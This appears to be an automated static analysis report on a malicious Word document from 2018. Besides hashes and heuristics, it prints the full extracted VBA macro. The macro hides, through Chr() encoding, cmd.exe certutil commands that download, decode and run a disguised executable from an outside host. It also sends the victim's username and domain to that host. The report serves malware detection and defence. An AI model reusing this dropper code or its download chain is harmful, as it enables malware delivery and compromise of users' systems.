Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e94e0beb295e450…

MALICIOUS

Office (OLE)

112.0 KB Created: 2018-04-23 21:40:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: bffa0d667a4578bb852a8f823080e982 SHA-1: e05e7b44118e79b2f865f1aefc0c30e9c86d8caf SHA-256: 0e94e0beb295e4505f81afaaf2548376e7814ba327ae3109029f87dfb02c5a4b
162 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Word document containing VBA macros designed to trick the user into enabling them by displaying a fake gift card redemption form. Upon enabling macros, the VBA script executes a command to download and run a second-stage payload from 'https://www.easy-surveys.com/surveys.ca'. This indicates a dropper or downloader functionality, commonly associated with malware distribution.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6540435-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6540435-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        validate = encUser & encPass & encToken & apiKey & encReq
    Shell (validate)
    callReq = Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(32) & Chr(45) & Chr(117) & Chr(114) & Chr(108) & Chr(99) & Chr(97) & Chr(99) & Chr(104) & Chr(101) & Chr(32) & Chr(45) & Chr(115) & Chr(112) & Chr(108) & Chr(105) & Chr(116) & Chr(32) & Chr(45) & Chr(102) & Chr(32) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58)  …
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4319 bytes
SHA-256: dd805b2411fcfae2a077e150e89ae2ac6283fe582fd0e72896d633f5fa3c4879
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Private Sub CommandButton1_Click()
    Dim validate
    Dim encUser
    Dim encPass
    Dim encToken
    Dim apiKey
    Dim encReq
    Dim callReq
    Dim apiPull
    Dim isWin
    encUser = Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(32) & Chr(45) & Chr(117) & Chr(114) & Chr(108) & Chr(99) & Chr(97) & Chr(99) & Chr(104) & Chr(101) & Chr(32) & Chr(45) & Chr(115) & Chr(112) & Chr(108) & Chr(105) & Chr(116) & Chr(32) & Chr(45) & Chr(102) & Chr(32) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47)
    encPass = Chr(119) & Chr(119) & Chr(119) & Chr(46) & Chr(101) & Chr(97) & Chr(115) & Chr(121) & Chr(45) & Chr(115) & Chr(117) & Chr(114) & Chr(118) & Chr(101) & Chr(121) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(115) & Chr(117) & Chr(114) & Chr(118) & Chr(101) & Chr(121) & Chr(115) & Chr(46) & Chr(99) & Chr(97) & Chr(32) & Chr(37) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(80) & Chr(82) & Chr(79) & Chr(70) & Chr(73) & Chr(76) & Chr(69) & Chr(37) & Chr(92) & Chr(115) & Chr(117)
    encToken = Chr(114) & Chr(118) & Chr(101) & Chr(121) & Chr(115) & Chr(46) & Chr(99) & Chr(97) & Chr(32) & Chr(38) & Chr(32) & Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(32) & Chr(45) & Chr(100) & Chr(101) & Chr(99) & Chr(111) & Chr(100) & Chr(101) & Chr(32) & Chr(37) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(80) & Chr(82) & Chr(79) & Chr(70) & Chr(73) & Chr(76) & Chr(69) & Chr(37) & Chr(92) & Chr(115) & Chr(117) & Chr(114) & Chr(118) & Chr(101) & Chr(121) & Chr(115)
    apiKey = Chr(46) & Chr(99) & Chr(97) & Chr(32) & Chr(37) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(80) & Chr(82) & Chr(79) & Chr(70) & Chr(73) & Chr(76) & Chr(69) & Chr(37) & Chr(92) & Chr(109) & Chr(98) & Chr(97) & Chr(109) & Chr(45) & Chr(117) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(101) & Chr(45) & Chr(50) & Chr(48) & Chr(49) & Chr(56) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(38) & Chr(32) & Chr(37) & Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(80) & Chr(82) & Chr(79)
    encReq = Chr(70) & Chr(73) & Chr(76) & Chr(69) & Chr(37) & Chr(92) & Chr(109) & Chr(98) & Chr(97) & Chr(109) & Chr(45) & Chr(117) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(101) & Chr(45) & Chr(50) & Chr(48) & Chr(49) & Chr(56) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    validate = encUser & encPass & encToken & apiKey & encReq
    Shell (validate)
    callReq = Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(47) & Chr(99) & Chr(32) & Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(32) & Chr(45) & Chr(117) & Chr(114) & Chr(108) & Chr(99) & Chr(97) & Chr(99) & Chr(104) & Chr(101) & Chr(32) & Chr(45) & Chr(115) & Chr(112) & Chr(108) & Chr(105) & Chr(116) & Chr(32) & Chr(45) & Chr(102) & Chr(32) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47)
    apiPull = Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(46) & Chr(101) & Chr(97) & Chr(115) & Chr(121) & Chr(45) & Chr(115) & Chr(117) & Chr(114) & Chr(118) & Chr(101) & Chr(121) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(117) & Chr(95) & Chr(37) & Chr(117) & Chr(115) & Chr(101) & Chr(114) & Chr(100) & Chr(111) & Chr(109) & Chr(97) & Chr(105) & Chr(110) & Chr(37) & Chr(95) & Chr(37) & Chr(117) & Chr(115) & Chr(101) & Chr(114) & Chr(110) & Chr(97) & Chr(109) & Chr(101) & Chr(37) & Chr(32) & Chr(110) & Chr(117) & Chr(108) & Chr(108)
    isWin = callReq & apiPull
    Shell (isWin)
    
    'IF isWin is false
    MsgBox "Validation Failure: Document cannot be esigned at this time.", vbCritical, "ERROR"
End Sub

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